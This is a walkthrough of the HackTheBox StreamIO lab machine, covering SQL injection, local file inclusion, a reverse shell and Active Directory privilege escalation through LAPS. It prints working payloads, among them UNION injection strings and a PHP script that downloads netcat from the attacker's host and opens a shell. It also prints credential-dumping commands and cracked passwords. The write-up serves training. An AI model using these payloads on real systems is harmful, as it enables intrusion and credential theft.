HTB - StreamIO

HTB – StreamIO

In this walk through, we will be going through the StreamIO room from HackTheBox. This room is rated as medium on the platform and it consists of lot of subdomain enumeration, the initial access requires knowledge in vulnerabilities like SQL Injection & LFI and for privilege escalation, the LDAP secrets are exposed to get root. So, let’s get started without any delay.

StreamIO

Machine Info:

TitleStreamIO
IPaddress10.10.11.158
DifficultyMedium
OSWindows
DescriptionStreamIO is a medium machine that covers subdomain enumeration leading to an SQL injection in order to retrieve stored user credentials, which are cracked to gain access to an administration panel. The exploitation then includes LFI to RCE and for privilege escalation, LAPS password got in use.

Enumeration:

  • I started off with my regular Aggressive Nmap scan and found multiple ports opened. The interesting one was port 80 and 443 (HTTP) indicating a web server running. Another one was port 88 (Kerberos) showcasing that we are dealing with an Active Directory environment here. Next, we have port 139,445 (SMB), 135 (RPC) and 389,3268 (LDAP).

$ sudo nmap -A 10.10.11.158
[sudo] password for wh1terose: 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-13 11:08 IST

Nmap scan report for 10.10.11.158
Host is up (0.21s latency).
Not shown: 988 filtered ports
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-12-13 12:39:07Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
|_ssl-date: 2023-12-13T12:40:06+00:00; +7h00m00s from scanner time.
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m58s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-12-13T12:39:30
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   210.23 ms 10.10.14.1
2   210.29 ms 10.10.11.158

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 204.94 seconds

nmap scan

  • Added the domain name in my /etc/hosts file and accessed the web server running on port 80.

adding hostname

  • The web server has a default IIS installation page. I looked around but found nothing useful.

IIS default page

  • Next, visited the web server running on port 443, this one holds a Movie Streaming web application. It has bunch of pages in it – About, Contact Us and Login.

Online movie streaming

  • I looked into the login page, tried some SQL authentication payloads but found no luck.

Login panel

Login failed

  • Further, looked into the About us page which reveals some members related to the website. These can be the potential usernames later.

Team members

  • Fired feroxbuster on the target to reveal some juicy directories. Found one /admin but it shows a “FORBIDDEN” access error.

feroxbuster -k -u https://streamio.htb/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt

feroxbuster scan

FORBIDDEN

Subdomain Enumeration:

  • Next, used wfuzz to enumerate some subdomains. Got a hit at – watch.streamio.htb

$ wfuzz -u https://streamio.htb -H "Host: FUZZ.streamio.htb" -w ~/Desktop/Wordlist/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 315
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: https://streamio.htb/
Total requests: 4989

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                      
===================================================================

000002268:   200        78 L     245 W    2829 Ch     "watch"                                                                                                                      

Total time: 107.7761
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 46.29041

subdomain enumeraion

  • Added the subdomain to my /etc/hosts file and accessed the running web app.

adding subdomain to host file

  • This one holds an application that is used to stream and search movies online. However, i only see an email subscription list option on the main page. Tried to enumerate it but found nothing useful.

StreamIO application

  • So, i fired feroxbuster on the subdomain also checking for the extensions like php and txt. This gave me an interesting result – search.php

feroxbuster -k -u https://watch.streamio.htb/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -x php,txt

feroxbuster scan

  • The search.php page reveals a movie search page where we can search for a movie using its name in the search field.

Search for a movie

10

  • This seems like the application is fetching the results from a database and then displaying at the frontend. So, i used a SQL injection payload in the search field and it got flagged. That means, a WAF is configured to look for potential Injection attempts.

trying payload

malicious activity detected

Performing SQL Injection:

  • I used the below command to enumerated the columns from which i can retrieve the data and got one.

10' union select 1,2,3,4,5,6;-- -

UNION payloads

  • Next, enumerated the SQL version and type running on the target using the below command. Found that, it is a Microsoft SQL Server 2019 running on the target.

10' union select 1,@@version,3,4,5,6-- -

Enumerating database version

  • Moving on, dumped the database name with the below command. Found out that, we are dealing with a database named STREAMIO.

10' union select 1,(select DB_NAME()),3,4,5,6-- -

Enumeration DB name

  • Next, Dumped the table name from the database. Found an interesting one called users.

10' union select 1,table_name,3,4,5,6 from information_schema.tables-- -

Dumping tables

  • Now, dumped the column names from the user tables. Found two interesting ones – username and password.

10' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='users'-- -

Dumping columns

  • Dumped the contents of the columns username and password. It reveals a lots of passwords.

10' union select 1,concat(username,password),3,4,5,6 from users-- -

Dumping user hashes

Dumping user hashes

Dumping user hashes

  • For the dumped credentials, i used crackstation to crack them and was able to successfully crack a few of them.

admin: 665a50ac9eaa781e4f7f04199db97a11 -> paddpadd
Alexendra: 1c2b3d8270321140e5153f6637d3ee53
Austin: 0049ac57646627b8d7aeaccf8b6a936f
Barbra: 3961548825e3e21df5646cafe11c6c76
Barry: 54c88b2dbd7b1a84012fabc1a4c73415 -> $hadoW
Baxter: 22ee218331afd081b0dcd8115284bae3
Bruno: 2a4e2cf22dd8fcb45adcb91be1e22ae8 -> $monique$1991$
Carmon: 35394484d89fcfdb3c5e447fe749d213
Clara: ef8f3d30a856cf166fb8215aca93e9ff - %$clara
Diablo: ec33265e5fc8c2f1b0c137bb7b3632b5
Garfield: 8097cedd612cc37c29db152b6e9edbd3
Juliette: 6dcd87740abb64edfa36d170f0d5450d -> $3xybitch
Lauren: 08344b85b329d7efd611b7a7743e8a09 -> ##123a8j8w5123##
Lenord: ee0b8a0937abd60c2882eacb2f8dc49f -> physics69i
Lucifer: 7df45a9e3de3863807c026ba48e55fb3
Michelle: b83439b16f844bd6ffe35c02fe21b3c0 -> !?Love?!123
Oliver: fd78db29173a5cf701bd69027cb9bf6b
Robert: f03b910e2bd0313a23fdd7575f34a694
Robin: dc332fb5576e9631c9dae83f194f8e70
Sabrina: f87d3c0d6c8fd686aacc6627f1f493a5 -> !!sabrina$
Samantha: 083ffae904143c4796e464dac33c1f7d
Stan: 384463526d288edcc95fc3701e523bc7
Thane: 3577c47eb1e12c8ba021611e1280753c -> highschoolmusical
Theodore: 925e5408ecb67aea449373d668b7359e
Victor: bf55e15b119860a6e6b5a164377da719
Victoria: b22abb47a02b52d5dfa27fb0b534f693 -> !5psycho8!
William: d62be0dc82071bccc1322d64ec5b6c51
yoshihide: b779ba15cedfd22a023c4d8bcf5f2332 -> 66boysandgirls..

Cracking the hashes

Cracking the hashes

  • With the cracked password, i tried to log into the streamio.htb website however only got lucky with user yoshihide’s password.

login with yoshihide creds

Performing LFI exploitation:

  • Once I reached in the Admin panel, looked around and found an interesting endpoint used for the various options in the dashboard. This seems like the endpoint is used to call for other files and queries. This could lead to LFI or RCE.

Admin Panel

LFI endpoint

  • I fuzzed i using ffuf and found a hidden one called debug.

ffuf -u https://streamio.htb/admin/?FUZZ= -w ~/Desktop/Wordlist/common.txt -b "PHPSESSID=mvjmjs08i64aal9n1uaigm98pl" --fs 1678

ffuf scan

  • I checked the found endpoint endpoint for LFI and was able to successfully dump the contents of the /etc/hosts file of the target.

https://streamio.htb/admin/?debug=C:/Windows/System32/drivers/etc/hosts

LFI successful

  • Next, i thought of using responder to captured some NTLM hashes if i may get lucky using LFI.

sudo python3 Responder.py -I tun0

Setting up responder

  • I was able to capture the hashes by pointing the endpoint to my fake share. However, i was unable to crack the password of the user with the default rockyou wordlist.

https://streamio.htb/admin/?debug=//10.10.14.24/hackme

yoshihide::streamIO:d8423701f93c8520:37A7C7C8DC55DED1C8B7A749A6F2DAED:010100000000000000275EE30A2EDA012B87678A866415E80000000002000800540053004A004C0001001E00570049004E002D00500043004E004E00550048003200370033005100370004003400570049004E002D00500043004E004E0055004800320037003300510037002E00540053004A004C002E004C004F00430041004C0003001400540053004A004C002E004C004F00430041004C0005001400540053004A004C002E004C004F00430041004C000700080000275EE30A2EDA01060004000200000008003000300000000000000000000000002100008C367233A27207F777C1E25E89460CA0533A2C992BA2399AB7E4DCF2240160630A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320034000000000000000000

Getting the NTLMV2 hashes

  • Moving on, i fired up gobuster again on the target this time at the /admin directory to see if we had miss something juicy and indeed we did. I found a page called master.php which was unknown to us earlier.

gobuster dir -k -u https://streamio.htb/admin/ -w ~/Desktop/Wordlist/common.txt -x php,txt

gobuster scan

  • Accessed it and it shows that it is only accessible through includes. Interesting!

Movie Management

  • On the debug endpoint, i used a PHP base64 wrapper in order to read the contents of the master.php file.

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php

master.php

  • Decoded the generated base64 to get the source code of master.php

echo "onlyPGgxPk1vdmllIG1hbmFnbWVudDwvaDE+DQo8P3BocA0KaWYoIWRlZmluZWQoJ2luY2x1ZGVkJykpDQoJZGllKCJPbmx5IGFjY2Vzc2FibGUgdGhyb3VnaCBpbmNsdWRlcyIpOw0KaWYoaXNzZXQoJF9QT1NUW-- snipped --" | base64 -d

�yr<h1>Movie managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST" action="?movie=">
				<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['username']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST">
				<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['username']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST">
				<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}

Initial Access:

  • The source code reveals that, the master.php page is using a dangerous PHP function called eval which is used to generate system calls. This functions is using the file_get_contents module and including it in a POST request. The file that has to be included should be different than index.php. In that case, we can add an include parameter to the request directed to master.php with the method POST. We will include a php script that will contains instructions to download and executed the netcat binary on the target. Thus, giving us the initial shell access.

master.php source code

  • I generated a PHP script named pwn.php with the following contents. The script will first download the netcat binary to the temp folder on the target and then will connect to my machine on port 4444.

system("curl 10.10.14.24:8000/nc.exe -o c:\\windows\\temp\\nc.exe");
system("c:\\windows\\temp\\nc.exe 10.10.14.24 4444 -e cmd.exe");

reverse shell payload

  • Spawned the python HTTP server serving our php script and netcat binary.

setting up the HTTP web server

  • I was unable to make a request via Burpsuite. So, did it using curl. Once the script executed, i got the connection back at netcat listener.

curl -X POST 'https://streamio.htb/admin/?debug=master.php' -k -b 'PHPSESSID=mvjmjs08i64aal9n1uaigm98pl' -d 'include=http://10.10.14.24:8000/pwn.php'

calling the payload

shell granted

Lateral Movement:

  • Next, checked the contents of the index.php file and it reveals pair of credentials related to the MSSQL database.

type index.php

type index.php

  • Used the credentials with sqlcmd utility and dump some username and passwords.

powershell -ep bypass

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select table_name from streamio_backup.information_schema.tables;"
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select table_name from streamio_backup.information_schema.tables;"

table names

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"

dumping all data

nikk37: 389d14cb8e4e9b94b137deb1caf0612a
yoshihide: b779ba15cedfd22a023c4d8bcf5f2332
James: c660060492d9edcaa8332d89c99c9239
Theodore: 925e5408ecb67aea449373d668b7359e
Samantha: 083ffae904143c4796e464dac33c1f7d
Lauren: 08344b85b329d7efd611b7a7743e8a09
William: d62be0dc82071bccc1322d64ec5b6c51
Sabrina: f87d3c0d6c8fd686aacc6627f1f493a5

  • Cracked the password for nikk37 as it was one of the user on the target.

cracking the hash

  • Sprayed the password of user nikk37 on DC in order to check if we can get access and got a green flag.

crackmapexec smb 10.10.11.158 -u nikk37 -p [email protected]

crackmapexec spray

  • Used Evil-WinRM to get the shell access as user nikk37 and captured the user flag.

evil-winrm.rb -i 10.10.11.158 -u nikk37 -p [email protected]

Getting shell with evil-winrm

user.txt

Post-Compromise Enumeration

  • Next uploaded SharpHound ingestor on the target and executed it to perform some post-compromise enumeration. After a successful run, downloaded the generated zip file on my local machine.

upload SharpHound

./SharpHound.exe -c all

Executing SharpHound

Downloading the zip

  • Uploaded the data to Bloodhound and Looked for the “Shortest Path to Domain Admins”. As per the graph, we can access the DC by exploiting the LAPS Password configuration if we have access to group “CORE STAFF” and that is possible if we have access as user “JDGODD”.

Shortest Path to Domain Admins

  • Next, fired Winpeas on the target to check for any other privilege escalation vectors and found a Mozilla Firefox Database file in user nikk37 home directory.

Mozilla DB files

Extracting credentials from Firefox Database

  • Downloaded the database “key4.db” and “logins.json” to my local machine.

downloading the files

  • Used firepwd to extract the saved username and password from the Firefox’s database. As per the result, the username and password values are mismatched.

$ python3 ~/Tools/firepwd/firepwd.py 

-- snipped --

clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'

getting some passwords

  • I checked the password “JDg0dd1s@d0p3cr3@t0r” with username “JDgodd” and got a positive response from crackmapexec. But i was unable to get a shell using it. That means, we can authenticate using the creds but do not have a writable share.

crackmapexec spray

no shell

Privilege Escalation:

  • Uploaded, Powerview on the target. We will now first add user JDgodd in Core Staff group as we have the rights as user nikk37 to add members. Using that, we will perform the LAPS password read and then we will dump the MCS-AdmPwd using LDAP.

uploading Powerview.ps1

  • Invoked Powerview. Followed by the process of adding user JDgodd to CORE STAFF group and then checking the user JDgodd changed account information.

. .\Powerview.ps1

$pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)

Add-DomainObjectAcl -Credential $cred -TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"

Add-DomainGroupMember -Credential $cred -Identity "Core Staff" -Members "StreamIO\JDgodd"

net user jdgodd

executing powerview

  • Next, we used ldapsearch to dump the MCS-AdmPwd password.

ldapsearch -h 10.10.11.158 -b 'DC=streamIO,DC=htb' -x -D [email protected] -w 'JDg0dd1s@d0p3cr3@t0r' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

dump the MCS-AdmPwd password

  • Checked the credentials using crackmapexec we can access the DC with them as administrator and it shows a freakin Pwn3d!

spray the admin password

  • At last, Evil-WinRM to get the shell as administrator and captured the root flag from user Martin’s desktop.

evil-winrm.rb -i 10.10.11.158 -u administrator -p 'y4GHoyDr6W)PGE'

root.txt

Machine completed

Also Read: Webgoat – XXE Injection

Conclusion:

Conclusion

So that was “StreamIO” for you. This machine covers subdomain enumeration leading to an SQL injection in order to retrieve stored user credentials, which are cracked to gain access to an administration panel. The administration panel is vulnerable to LFI, which allows us to retrieve the source code for the administration pages and leads to identifying a remote file inclusion vulnerability, the abuse of which gains us access to the system. After the initial shell we leverage the SQLCMD command line utility to enumerate databases and obtain further credentials used in lateral movement. As the secondary user we use WinPEAS to enumerate the system and find saved browser databases, which are decoded to expose new credentials. Using the new credentials within BloodHound we discover that the user has the ability to add themselves to a specific group in which they can read LDAP secrets. Without direct access to the account we use PowerShell to abuse this feature and add ourselves to the Core Staff group, then access LDAP to disclose the administrator LAPS password. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top